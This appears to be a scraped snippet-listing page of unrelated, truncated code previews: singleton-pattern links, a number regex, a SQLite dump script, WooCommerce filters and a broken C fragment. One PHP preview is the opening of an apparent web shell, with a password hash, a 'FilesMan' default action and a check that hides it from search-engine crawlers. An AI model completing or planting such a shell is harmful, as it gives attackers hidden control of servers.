- Google's Clean Code Talks
- http://blog.gordon-oheim.biz/2011-01-17-Why-Singletons-have-no-use-in-PHP/
- http://sebastian-bergmann.de/archives/882-Testing-Code-That-Uses-Singletons.html
- http://eamann.com/tech/making-singletons-safe-in-php/
- http://hakre.wordpress.com/2012/06/10/the-missing-patterns-of-the-php-manual/#p2
- http://blogs.msdn.com/b/scottdensmore/archive/2004/05/25/140827.aspx
- http://www.phptherightway.com/pages/Design-Patterns.html "You should be wary when using the singleton pattern, as by its very natureit introduces global state into your application, reducing testability."
- http://www.practicaldesignpatternsinphp.com/ *"The Singleton Pattern is perhaps the most well known - and most often misused - pattern in all of PHP design pattern development. Its simplicity, combined with its seeming benefits makes it a widely-used (and overused) pattern. The Singleton is not so much a recommended pattern, as a pattern I recommend you shy away from
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
#+Dump Columns ////Boolean | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Visualize at: | |
// http://www.regexplained.co.uk/?pattern=%2F%5E(%3F%3A(%3F%3A0%5BxX%5D%5B0-9a-fA-F%5D%2B)%7C(%3F%3A0%5BoO%5D%5B0-7%5D%2B)%7C(%3F%3A0%5BbB%5D%5B01%5D%2B)%7C(%3F%3A%5Cd%2B%5C.%5Cd*(%3F%3A%5BeE%5D%5B%2B-%5D%3F%5Cd%2B)%3F)%7C(%3F%3A%5C.%5Cd%2B(%3F%3A%5BeE%5D%5B%2B-%5D%3F%5Cd%2B)%3F)%7C(%3F%3A%5Cd%2B(%3F%3A%5BeE%5D%5B%2B-%5D%3F%5Cd%2B)%3F))%24%2F | |
function isNumberLiteral(txt) { | |
var re = /^(?:(?:0[xX][0-9a-fA-F]+)|(?:0[oO][0-7]+)|(?:0[bB][01]+)|(?:\d+\.\d*(?:[eE][+-]?\d+)?)|(?:\.\d+(?:[eE][+-]?\d+)?)|(?:\d+(?:[eE][+-]?\d+)?))$/; | |
return re.test(txt); | |
} | |
isNumberLiteral("42"); // true | |
isNumberLiteral("-42"); // false |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var sqlite3 = require('sqlite3').verbose(); | |
var db = new sqlite3.Database('./db.db'); | |
var fs = require('fs'); | |
var outputFilename = './output.json'; | |
var jsonOutput = db.serialize(function() { | |
db.each("SELECT * FROM sqlite_master WHERE type='table'", function(err, table) { | |
db.each("SELECT * FROM " + table.tbl_name, function(err, row) { | |
五 🍂🍂🍁
七 🍂🍂🍂🍁
五 🍂🍂🍁
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// create date object | |
$date = new DateTime( '2018-07-23 06:12:04' ); | |
// get the queued event by ID | |
$event = \AutomateWoo\Queued_Event_Factory::get( $event_id ); | |
$event->set_date_due( $date ); | |
$event->save(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Automatically add product to cart on visit | |
*/ | |
add_action( 'template_redirect', 'add_product_to_cart' ); | |
function add_product_to_cart() { | |
if ( ! is_admin() ) { | |
$product_id = 226; //replace with your own product id | |
$found = false; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
main(){ | |
string partidos[] = { | |
"01 Jan", | |
"07 Jan", | |
"14 Jun", | |
"01 Feb", | |
"07 Feb", | |
"14 Feb", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php // Do not copy this line. | |
// This is a filter to disable Multi-Currency in WooCommerce Payments. | |
add_filter( | |
'pre_option__wcpay_feature_customer_multi_currency', | |
function ( $pre_option, $option, $default ) { | |
return '0'; | |
}, | |
100, | |
3 |